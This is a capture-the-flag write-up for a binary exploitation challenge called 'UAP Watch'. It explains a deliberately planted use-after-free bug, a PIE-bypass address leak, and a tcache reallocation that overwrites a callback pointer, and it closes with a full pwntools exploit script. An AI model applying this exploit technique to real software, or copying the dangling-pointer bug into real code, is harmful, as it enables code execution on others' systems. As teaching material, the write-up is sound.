Flash CTF – UAP Watch

Challenge Overview

UAP Watch is a binary exploitation challenge that demonstrates a classic Use-After-Free (UAF) vulnerability. The program simulates an “Unidentified Aerial Phenomena” incident tracker with two main data structures: Reports and Signals. The vulnerability lies in how the program handles memory deallocation, leaving dangling pointers that can be exploited to gain code execution.

Initial Analysis

Let’s start by understanding what we’re working with. The program provides a console interface for managing UAP reports and signals:

=== UAP Incident Console ===
1) add report
2) delete report
3) rename report
4) analyze report
5) inspect report (telemetry)
6) add signal
7) drop signal
0) exit

Understanding the Data Structures

The program uses two critical data structures, both exactly 64 bytes in size:

typedef struct {
    char    title[56];      // User-provided title
    cb_t    on_analyze;     // Callback function pointer
} Report;                   // 64 bytes total

typedef struct {
    char raw[64];           // Raw user data
} Signal;                   // 64 bytes total

Pointers to both structures are stored in global arrays, but the stuctures themselves are stored on the heap:

1. Report *reports[MAXR]; (max 8 reports)

2. Signal *signals[MAXS]; (max 8 signals)

The Vulnerability

The bug is in the delete_report() function:

static void delete_report(void) {
    int i = getint("[ops] report index: ");
    if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }

    free(reports[i]);          /* BUG: pointer left dangling → UAF surface */
    /* reports[i] = NULL; */   /* intended fix */
    puts("[ops] report deleted (archived).");
}

The critical issue: After calling free(), the pointer reports[i] is not set to NULL. This creates a dangling pointer – the memory has been freed and returned to the heap, but the program still thinks it’s valid.

Exploitation Strategy

The exploitation follows a classic UAF pattern:

1. Create a Report – Allocate memory and set up a valid callback

2. Leak Addresses – Use the inspect function to leak the callback address for PIE bypass

3. Free the Report – Create the dangling pointer

4. Reallocate as Signal – Overwrite the freed memory with controlled data

5. Trigger the UAF – Call the dangling pointer, now pointing to our controlled data

    Step-by-Step Exploitation

    Step 1: Create a Report

    First, we create a report to establish our target memory chunk:

    add_report(io, b"sighting-0")
    

    This allocates a 64-byte Report structure on the heap with:

    • title: “sighting-0” (56 bytes)
    • on_analyzeredaction function pointer (8 bytes)

    Step 2: Leak Addresses for PIE Bypass

    Since the binary is compiled with PIE (Position Independent Executable), we need to leak the base address. The inspect_report() function conveniently leaks the callback pointer:

    static void inspect_report(void) {
        int i = getint("[ops] report index: ");
        if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }
        printf("[telemetry] title='%s'\n", reports[i]->title);
        printf("[telemetry] anomaly-cb=%p\n", (void*)reports[i]->on_analyze); /* info leak for PIE */
    }
    
    redaction_leak = inspect_report(io, 0)
    

    We can calculate the PIE base and the address of the win() function:

    pie_base = redaction_leak - redaction_offset
    win_addr = pie_base + win_offset
    

    Step 3: Create the Use-After-Free

    Now we free the report, creating our dangling pointer:

    delete_report(io, 0)
    

    At this point:

    • The 64-byte chunk is returned to the heap (likely tcache)
    • reports[0] still points to the freed memory
    • The memory is available for reallocation

    Step 4: Reallocate and Overwrite

    Since both Report and Signal structures are exactly 64 bytes, we can allocate a Signal that will reuse the same memory chunk:

    payload = b"A"*56 + p64(win_addr)
    add_signal(io, payload)
    

    This overwrites the freed Report structure with:

    • First 56 bytes: “AAAAAAAA…” (overwrites the title)
    • Last 8 bytes: Address of `win()` function (overwrites the callback pointer)

    Step 5: Trigger the UAF

    Finally, we call analyze_report() which will execute the callback:

    static void analyze_report(void) {
        int i = getint("[ops] report index: ");
        if (i < 0 || i >= MAXR || !reports[i]) { puts("[control] invalid."); return; }
    
        puts("[analysis] beginning spectral/trajectory inference …");
        /* If the chunk was freed and reused by a Signal, this is a UAF call. */
        reports[i]->on_analyze();  /* ← control target */
    }
    

    Since reports[0] still points to the memory we just overwrote, reports[0]->on_analyze() now calls our win() function instead of redaction().

    Why This Works

    Memory Layout Understanding

    The key insight is that both structures are exactly 64 bytes, which means they’ll be allocated from the same heap bin (likely tcache for small chunks). When we free a Report and immediately allocate a Signal, the heap allocator will likely reuse the same memory location.

    Heap Behavior

    Modern glibc uses tcache (thread local cache) for small allocations. When we free a 64-byte chunk, it goes into a tcache bin. The next 64-byte allocation will likely reuse this chunk, giving us control over the memory that the dangling pointer still references.

    Callback Hijacking

    The Report structure contains a function pointer that gets called during analysis. By overwriting this pointer with the address of win(), we redirect program execution to our target function.

    Complete Exploit Code

    #!/usr/bin/env python3
    from pwn import *
    import sys
    
    context.log_level = "info"
    context.arch = "amd64"
    
    # Hardcoded offsets
    REDACTION_OFF = 0x11c9
    WIN_OFF       = 0x11df
    
    def start(argv):
        if len(argv) >= 1 and argv[0] == "remote":
            host, port = argv[1], int(argv[2])
            io = remote(host, port)
            return io
        else:
            path = argv[0] if len(argv) >= 1 else "./uap-watch"
            io = process(path, level="DEBUG")
            return io
    
    def menu(io):
        io.recvuntil(b"=== UAP Incident Console ===")
    
    def add_report(io, title=b"foo"):
        menu(io)
        io.sendline(b"1")
        io.recvuntil(b"new sighting title:")
        io.sendline(title)
    
    def delete_report(io, idx=0):
        menu(io)
        io.sendline(b"2")
        io.recvuntil(b"report index:")
        io.sendline(str(idx).encode())
    
    def analyze_report(io, idx=0):
        menu(io)
        io.sendline(b"4")
        io.recvuntil(b"report index:")
        io.sendline(str(idx).encode())
    
    def inspect_report(io, idx=0):
        menu(io)
        io.sendline(b"5")
        io.recvuntil(b"report index:")
        io.sendline(str(idx).encode())
        io.recvuntil(b"anomaly-cb=")
        leak_line = io.recvline().strip()
        leak = int(leak_line, 16)
        log.info(f"Leaked callback pointer: {hex(leak)}")
        return leak
    
    def add_signal(io, data: bytes):
        menu(io)
        io.sendline(b"6")
        io.recvuntil(b"paste narrowband capture (64 bytes):")
        io.send(data)
    
    def main():
        io = start(sys.argv[1:])
    
        # Step 1: Create a report
        add_report(io, b"sighting-0")
    
        # Step 2: Leak redaction() address
        redaction_leak = inspect_report(io, 0)
    
        pie_base = redaction_leak - REDACTION_OFF
        win_addr = pie_base + WIN_OFF
    
        log.success(f"PIE base: {hex(pie_base)}")
        log.success(f"win() addr: {hex(win_addr)}")
    
        # Step 3: Free report → dangling pointer
        delete_report(io, 0)
    
        # Step 4: Allocate signal to overlap, overwrite callback
        payload = b"A"*56 + p64(win_addr)
        add_signal(io, payload)
    
        # Step 5: Trigger callback
        analyze_report(io, 0)
    
        # Step 6: Drop to shell
        io.interactive()
    
    if __name__ == "__main__":
        main()